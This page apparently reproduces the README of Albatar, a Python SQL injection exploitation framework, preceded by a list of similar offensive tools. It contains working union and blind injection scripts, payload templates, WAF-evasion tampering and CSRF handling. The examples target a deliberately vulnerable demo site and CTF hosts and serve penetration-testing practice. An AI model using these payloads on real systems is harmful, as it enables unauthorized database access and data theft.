All Projects → lanjelot → Albatar

lanjelot / Albatar

Albatar is a SQLi exploitation framework in Python

Programming Languages

python
139335 projects - #7 most used programming language

Labels

Projects that are alternatives of or similar to Albatar

sqli
A Laravel Artisan SQL Interactive Interface
Stars: ✭ 60 (-44.44%)
Mutual labels:  sqli
Sqlinjectionwiki
A wiki focusing on aggregating and documenting various SQL injection methods
Stars: ✭ 623 (+476.85%)
Mutual labels:  sqli
Blackwidow
A Python based web application scanner to gather OSINT and fuzz for OWASP vulnerabilities on a target website.
Stars: ✭ 887 (+721.3%)
Mutual labels:  sqli
web-cheats
Exploit web-vulnerabilities
Stars: ✭ 23 (-78.7%)
Mutual labels:  sqli
Katana
A Python Tool For google Hacking
Stars: ✭ 355 (+228.7%)
Mutual labels:  sqli
Whour
Tool for information gathering, IPReverse, AdminFInder, DNS, WHOIS, SQLi Scanner with google.
Stars: ✭ 18 (-83.33%)
Mutual labels:  sqli
Inject Some Sql
Have fun injecting SQL into a Ruby on Rails application!
Stars: ✭ 211 (+95.37%)
Mutual labels:  sqli
Xwaf
xWAF 3.0 - Free Web Application Firewall, Open-Source.
Stars: ✭ 48 (-55.56%)
Mutual labels:  sqli
Pybelt
The hackers tool belt
Stars: ✭ 435 (+302.78%)
Mutual labels:  sqli
V3n0m Scanner
Popular Pentesting scanner in Python3.6 for SQLi/XSS/LFI/RFI and other Vulns
Stars: ✭ 847 (+684.26%)
Mutual labels:  sqli
Cracker-Tool
All in One CRACKER911181's Tool. This Tool For Hacking and Pentesting. 🎭
Stars: ✭ 181 (+67.59%)
Mutual labels:  sqli
sqlmap-wiki-zhcn
可能是最完整的 sqlmap 中文文档。
Stars: ✭ 51 (-52.78%)
Mutual labels:  sqli
Whitewidow
SQL Vulnerability Scanner
Stars: ✭ 926 (+757.41%)
Mutual labels:  sqli
SQLi-Query-Tampering
SQLi Query Tampering extends and adds custom Payload Generator/Processor in Burp Suite's Intruder. This extension gives you the flexibility of manual testing with many powerful evasion techniques.
Stars: ✭ 123 (+13.89%)
Mutual labels:  sqli
Reconftw
reconFTW is a tool designed to perform automated recon on a target domain by running the best set of tools to perform scanning and finding out vulnerabilities
Stars: ✭ 974 (+801.85%)
Mutual labels:  sqli
Payloads
Git All the Payloads! A collection of web attack payloads.
Stars: ✭ 2,862 (+2550%)
Mutual labels:  sqli
Atscan
Advanced dork Search & Mass Exploit Scanner
Stars: ✭ 817 (+656.48%)
Mutual labels:  sqli
Cazador unr
Hacking tools
Stars: ✭ 95 (-12.04%)
Mutual labels:  sqli
Java Sec Code
Java web common vulnerabilities and security code which is base on springboot and spring security
Stars: ✭ 1,033 (+856.48%)
Mutual labels:  sqli
Sqliv
massive SQL injection vulnerability scanner
Stars: ✭ 840 (+677.78%)
Mutual labels:  sqli

I wrote Albatar to have a neat and tidy tool to exploit SQL injection vulnerabilities.

Unlike sqlmap, Albatar will not detect SQL injection vulnerabilities, it is primarily designed to help exploit not-so-straightforward injections where sqlmap would need tweaking and patching to work.

Albatar is a framework in Python. As a result, you need to write some Python code to be able to exploit the SQLI. Then simply invoke your script by passing sqlmap-like command line options (like --dbs, --banner etc.) to retrieve data from the database.

Currently, Albatar supports MySQL, MSSQL and Oracle with the Union, Error, Boolean and Time techniques.

Examples

  • Simple union-based SQLI (MySQL)

Let's use Albatar to exploit a textbook union-based SQLI at http://testphp.vulnweb.com/artists.php?artist=1. Clone the repository, and create the below script:

from albatar import *
import re

PROXIES = {} #'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
HEADERS = ['User-Agent: Mozilla/5.0']

def extract_results(headers, body, time):
  return re.findall(':ABC:(.+?):ABC:', body, re.S)

def mysql_union():

  def make_requester():
    return Requester_HTTP(
      proxies = PROXIES,
      headers = HEADERS,
      url = 'http://testphp.vulnweb.com/artists.php?artist=${injection}',
      method = 'GET',
      response_processor = extract_results,
      )

  template = '-1 union all select null,null,concat(0x3a4142433a,X,0x3a4142433a) from ${query}-- '

  return Method_union(make_requester, template)

sqli = MySQL_Inband(mysql_union())

for r in sqli.exploit():
  print(r)

Then execute the script to exploit the SQLI:

$ python3 testphp-union.py -D acuart --tables
15:41:49 albatar - Starting Albatar v0.1 (https://github.com/lanjelot/albatar) at 2020-04-13 15:41 AEST
15:41:49 albatar - Executing: ('(SELECT COUNT(*) X FROM information_schema.tables WHERE table_schema="acuart")a', '(SELECT table_name X FROM information_schema.tables WHERE table_schema="acuart" LIMIT ${row_pos},${row_count})a')
15:41:50 albatar - count: 8
artists
carts
categ
featured
guestbook
pictures
products
users
15:41:56 albatar - Time: 0h 0m 6s
  • Simple boolean-based SQLI (MySQL)

Here's how to exploit a boolean-based SQLI at http://testphp.vulnweb.com/listproducts.php?cat=1.

from albatar import *

PROXIES = {} #'http': 'http://127.0.0.1:8082', 'https': 'http://127.0.0.1:8082'}
HEADERS = ['User-Agent: Mozilla/5.0']

def test_state_grep(headers, body, time):
  return 'Lorem ipsum dolor sit amet' in body

def mysql_boolean():

  def make_requester():
    return Requester_HTTP(
      proxies = PROXIES,
      headers = HEADERS,
      url = 'http://testphp.vulnweb.com/listproducts.php?cat=${injection}',
      method = 'GET',
      response_processor = test_state_grep,
      )

  template = '1 and (ascii(substring((${query}),${char_pos},1))&${bit_mask})=${bit_mask}'

  return Method_bitwise(make_requester, template, confirm_char=True)

sqli = MySQL_Blind(mysql_boolean())

for r in sqli.exploit():
  print(r)

And execute:

$ python3 testphp-boolean.py -b
15:43:18 albatar - Starting Albatar v0.1 (https://github.com/lanjelot/albatar) at 2020-04-13 15:43 AEST
15:43:18 albatar - Executing: 'SELECT VERSION()'
5.1.73-0ubuntu0.10.04.1
15:43:45 albatar - Time: 0h 0m 27s
  • Encoding / WAF evasion

If you need to encode your payload to meet specific requirements, simply code a function to mangle the payload in every request. The web task luhn-300 from Hackim CTF 2016 was a good example to showcase this, where every request had to have a valid Luhn checksum.

from albatar import *
from baluhn import generate

PROXIES = {} #'http': 'http://127.0.0.1:8082', 'https': 'http://127.0.0.1:8082'}
HEADERS = ['User-Agent: Mozilla/5.0']

def test_state_grep(headers, body, time):
  return 'Your CC has been compromised' in body

def add_luhn(s):
  digits = filter(lambda c: c.isdigit(), s)

  # our payload must have an even number of digits otherwise the serve computes
  # a different checksum than us
  if len(digits) % 2 == 0:
    s += '0'
    digits += '0'

  return s + generate(''.join(digits))

def mysql_boolean():

  def make_requester():
    return Requester_HTTP(
      proxies = PROXIES,
      headers = HEADERS,
      url = 'http://52.91.163.151/',
      body = 'cc=4111111111111111${injection}',
      method = 'POST',
      response_processor = test_state_grep,
      tamper_payload = add_luhn,
      )

  template = "' and (ascii(substring((${query}),${char_pos},1))&${bit_mask})=${bit_mask} -- "

  return Method_bitwise(make_requester, template)

sqli = MySQL_Blind(mysql_boolean())

for r in sqli.exploit():
  print r
  • CSRF tokens

If you need to do anything before or after submitting the SQLI payload, simply extend the Requester class. For example, if you need to provide a CSRF token, like with the web task hackme-400 from SU CTF 2016, write something like this:

...
class Requester_CSRF(Requester_HTTP_requests):

  def test(self, payload):
    response = self.session.get('http://ctf.sharif.edu:35455/chal/hackme/8b784460681e5282/login.php')
    token = re.search("name='user_token' value='([^']+)'", response.text).group(1)
    self.http_opts[2] = self.http_opts[2].replace('_CSRF_', token)

    return super(Requester_CSRF, self).test(payload)

def mysql_union():

  def make_requester():
    return Requester_CSRF(
      proxies = PROXIES,
      headers = HEADERS,
      url = 'http://ctf.sharif.edu:35455/chal/hackme/8b784460681e5282/login.php',
      body = 'username=${injection}&password=asdf&Login=Login&user_token=_CSRF_',
      method = 'POST',
      response_processor = extract_results,
      )

  template = "a' union select concat(0x3a4142433a,X,0x3a4142433a),null,null,null from ${query} #"

  return Method_union(make_requester, template, pager=10)

You could even write a brand new Requester class to exploit a SQLI that is not in a web application, but in a command line application for example.

  • More

Find more examples in demo.py.

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].